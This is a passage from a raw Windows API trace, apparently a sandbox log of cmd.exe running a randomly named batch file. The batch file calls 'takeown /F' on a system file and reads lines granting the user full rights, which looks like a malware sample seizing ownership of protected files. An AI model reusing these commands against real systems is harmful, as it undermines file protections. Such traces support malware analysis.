dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0067.835] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0067.836] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x26ee9c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26eee8 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\"", lpProcessInformation=0x26eee8*(hProcess=0x78, hThread=0x74, dwProcessId=0xb50, dwThreadId=0x8bc)) returned 1 [0067.847] CloseHandle (hObject=0x74) returned 1 [0067.847] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.847] GetProcessHeap () returned 0x530000 [0067.847] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54a120 | out: hHeap=0x530000) returned 1 [0067.847] GetEnvironmentStringsW () returned 0x547f38* [0067.848] GetProcessHeap () returned 0x530000 [0067.848] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb5c) returned 0x54a120 [0067.848] FreeEnvironmentStringsW (penv=0x547f38) returned 1 [0067.848] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0069.907] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x26eddc | out: lpExitCode=0x26eddc*=0x0) returned 1 [0069.908] CloseHandle (hObject=0x78) returned 1 [0069.908] _vsnwprintf (in: _Buffer=0x26ef24, _BufferCount=0x13, _Format="%08X", _ArgList=0x26ede8 | out: _Buffer="00000000") returned 8 [0069.908] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0069.908] GetProcessHeap () returned 0x530000 [0069.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54a120 | out: hHeap=0x530000) returned 1 [0069.909] GetEnvironmentStringsW () returned 0x547f38* [0069.909] GetProcessHeap () returned 0x530000 [0069.909] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb5c) returned 0x54a120 [0069.909] FreeEnvironmentStringsW (penv=0x547f38) returned 1 [0069.909] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0069.909] GetProcessHeap () returned 0x530000 [0069.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54a120 | out: hHeap=0x530000) returned 1 [0069.909] GetEnvironmentStringsW () returned 0x547f38* [0069.909] GetProcessHeap () returned 0x530000 [0069.909] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb5c) returned 0x54a120 [0069.909] FreeEnvironmentStringsW (penv=0x547f38) returned 1 [0069.909] GetProcessHeap () returned 0x530000 [0069.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x530db8 | out: hHeap=0x530000) returned 1 [0069.909] DeleteProcThreadAttributeList (in: lpAttributeList=0x26ee40 | out: lpAttributeList=0x26ee40) [0069.909] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.909] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0069.910] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.910] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0069.910] _get_osfhandle (_FileHandle=0) returned 0x3 [0069.910] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0069.911] SetConsoleInputExeNameW () returned 0x1 [0069.911] GetConsoleOutputCP () returned 0x1b5 [0069.911] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0069.911] SetThreadUILanguage (LangId=0x0) returned 0x409 [0069.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f65c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0069.913] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0069.914] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.914] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546a68 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546938 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546810 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546ce0 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546770 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546558 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5464d8 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5463a8 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546280 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546210 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546180 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5312a0 | out: hHeap=0x530000) returned 1 [0069.914] GetProcessHeap () returned 0x530000 [0069.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x531240 | out: hHeap=0x530000) returned 1 [0069.915] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.915] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0069.915] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f640, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f640*=0xb3, lpOverlapped=0x0) returned 1 [0069.915] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0069.915] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0069.915] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.915] GetFileType (hFile=0x78) returned 0x1 [0069.916] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.916] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0069.916] GetProcessHeap () returned 0x530000 [0069.916] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400a) returned 0x554ab0 [0069.916] GetProcessHeap () returned 0x530000 [0069.916] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x7a) returned 0x531240 [0069.916] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui", nBufferLength=0x208, lpBuffer=0x26edd0, lpFilePart=0x26edc8 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui", lpFilePart=0x26edc8*="JNTFiltr.dll.mui") returned 0x37 [0069.916] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x26eae4 | out: lpFindFileData=0x26eae4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x546180 [0069.917] FindClose (in: hFindFile=0x546180 | out: hFindFile=0x546180) returned 1 [0069.917] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0069.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal", lpFindFileData=0x26eae4 | out: lpFindFileData=0x26eae4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 0x546180 [0069.917] FindClose (in: hFindFile=0x546180 | out: hFindFile=0x546180) returned 1 [0069.917] _wcsnicmp (_String1="WI0FCF~1", _String2="Windows Journal", _MaxCount=0xf) returned -62 [0069.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US", lpFindFileData=0x26eae4 | out: lpFindFileData=0x26eae4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0x546180 [0069.918] FindClose (in: hFindFile=0x546180 | out: hFindFile=0x546180) returned 1 [0069.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui", lpFindFileData=0x26eae4 | out: lpFindFileData=0x26eae4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 0x546180 [0069.918] FindClose (in: hFindFile=0x546180 | out: hFindFile=0x546180) returned 1 [0069.918] GetProcessHeap () returned 0x530000 [0069.918] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2a) returned 0x5455e8 [0069.918] GetProcessHeap () returned 0x530000 [0069.918] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x554ab0 | out: hHeap=0x530000) returned 1 [0069.919] _tell (_FileHandle=3) returned 63 [0069.919] _close (_FileHandle=3) returned 0 [0069.919] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f414 | out: _Buffer="\r\n") returned 2 [0069.919] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.919] GetFileType (hFile=0x7) returned 0x2 [0069.920] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.920] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f3d4 | out: lpMode=0x26f3d4) returned 1 [0069.920] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.920] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f400, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f400*=0x2) returned 1 [0069.923] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.923] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.924] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f410 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.924] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f410 | out: _Buffer=">") returned 1 [0069.924] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.924] GetFileType (hFile=0x7) returned 0x2 [0069.924] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.924] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f3d8 | out: lpMode=0x26f3d8) returned 1 [0069.924] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.924] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f404, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f404*=0x26) returned 1 [0069.925] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.925] GetFileType (hFile=0x7) returned 0x2 [0069.925] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.925] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f65c | out: lpMode=0x26f65c) returned 1 [0069.925] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.925] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x530dc0*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x26f688, lpReserved=0x0 | out: lpBuffer=0x530dc0*, lpNumberOfCharsWritten=0x26f688*=0x3) returned 1 [0069.926] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f694 | out: _Buffer=" FN=\"JNTFiltr.dll.mui\" ") returned 23 [0069.926] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.926] GetFileType (hFile=0x7) returned 0x2 [0069.926] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.926] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f654 | out: lpMode=0x26f654) returned 1 [0069.926] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.926] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x17, lpNumberOfCharsWritten=0x26f680, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f680*=0x17) returned 1 [0069.927] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f6b4 | out: _Buffer="\r\n") returned 2 [0069.927] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.927] GetFileType (hFile=0x7) returned 0x2 [0069.927] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.927] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f674 | out: lpMode=0x26f674) returned 1 [0069.927] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.927] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f6a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f6a0*=0x2) returned 1 [0069.929] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0069.929] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0069.929] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0069.929] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0069.929] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0069.929] _wcsicmp (_String1="set", _String2="CD") returned 16 [0069.929] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0069.929] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0069.929] _wcsicmp (_String1="set", _String2="REN") returned 1 [0069.929] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0069.929] _wcsicmp (_String1="set", _String2="SET") returned 0 [0069.929] GetConsoleTitleW (in: lpConsoleTitle=0x26f224, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0069.929] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0069.929] SetEnvironmentVariableW (lpName="FN", lpValue="\"JNTFiltr.dll.mui\"") returned 1 [0069.929] GetProcessHeap () returned 0x530000 [0069.929] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54a120 | out: hHeap=0x530000) returned 1 [0069.929] GetEnvironmentStringsW () returned 0x548ac8* [0069.929] GetProcessHeap () returned 0x530000 [0069.929] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb88) returned 0x549658 [0069.929] FreeEnvironmentStringsW (penv=0x548ac8) returned 1 [0069.930] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.930] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0069.930] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.930] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0069.930] _get_osfhandle (_FileHandle=0) returned 0x3 [0069.930] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0069.930] SetConsoleInputExeNameW () returned 0x1 [0069.930] GetConsoleOutputCP () returned 0x1b5 [0069.931] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0069.931] SetThreadUILanguage (LangId=0x0) returned 0x409 [0069.931] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f65c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0069.931] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0069.931] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.931] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0069.931] GetProcessHeap () returned 0x530000 [0069.931] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546260 | out: hHeap=0x530000) returned 1 [0069.931] GetProcessHeap () returned 0x530000 [0069.932] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546220 | out: hHeap=0x530000) returned 1 [0069.932] GetProcessHeap () returned 0x530000 [0069.932] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5461e0 | out: hHeap=0x530000) returned 1 [0069.932] GetProcessHeap () returned 0x530000 [0069.932] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x530db8 | out: hHeap=0x530000) returned 1 [0069.932] GetProcessHeap () returned 0x530000 [0069.932] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546180 | out: hHeap=0x530000) returned 1 [0069.932] GetProcessHeap () returned 0x530000 [0069.932] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5455e8 | out: hHeap=0x530000) returned 1 [0069.932] GetProcessHeap () returned 0x530000 [0069.932] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x531240 | out: hHeap=0x530000) returned 1 [0069.932] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.932] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0069.932] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f640, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f640*=0xa3, lpOverlapped=0x0) returned 1 [0069.932] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0069.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0069.932] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.932] GetFileType (hFile=0x78) returned 0x1 [0069.932] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.932] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0069.932] GetProcessHeap () returned 0x530000 [0069.932] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400a) returned 0x554ab0 [0069.933] GetProcessHeap () returned 0x530000 [0069.933] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x70) returned 0x531240 [0069.933] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x26edd0, lpFilePart=0x26edc8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x26edc8*="Bt3xnwko.bat") returned 0x32 [0069.933] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26eae4 | out: lpFindFileData=0x26eae4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x546180 [0069.933] FindClose (in: hFindFile=0x546180 | out: hFindFile=0x546180) returned 1 [0069.933] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26eae4 | out: lpFindFileData=0x26eae4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x546180 [0069.933] FindClose (in: hFindFile=0x546180 | out: hFindFile=0x546180) returned 1 [0069.933] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0069.933] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26eae4 | out: lpFindFileData=0x26eae4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x546180 [0069.933] FindClose (in: hFindFile=0x546180 | out: hFindFile=0x546180) returned 1 [0069.933] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x26eae4 | out: lpFindFileData=0x26eae4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x546180 [0069.934] FindClose (in: hFindFile=0x546180 | out: hFindFile=0x546180) returned 1 [0069.934] GetProcessHeap () returned 0x530000 [0069.934] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x56) returned 0x546180 [0069.934] GetProcessHeap () returned 0x530000 [0069.934] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x554ab0 | out: hHeap=0x530000) returned 1 [0069.934] _tell (_FileHandle=3) returned 78 [0069.935] _close (_FileHandle=3) returned 0 [0069.935] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f414 | out: _Buffer="\r\n") returned 2 [0069.935] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.935] GetFileType (hFile=0x7) returned 0x2 [0069.935] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.935] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f3d4 | out: lpMode=0x26f3d4) returned 1 [0069.935] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.935] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f400, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f400*=0x2) returned 1 [0069.937] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.937] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.937] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f410 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.937] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f410 | out: _Buffer=">") returned 1 [0069.937] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.937] GetFileType (hFile=0x7) returned 0x2 [0069.937] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.937] GetConsoleMode (in: 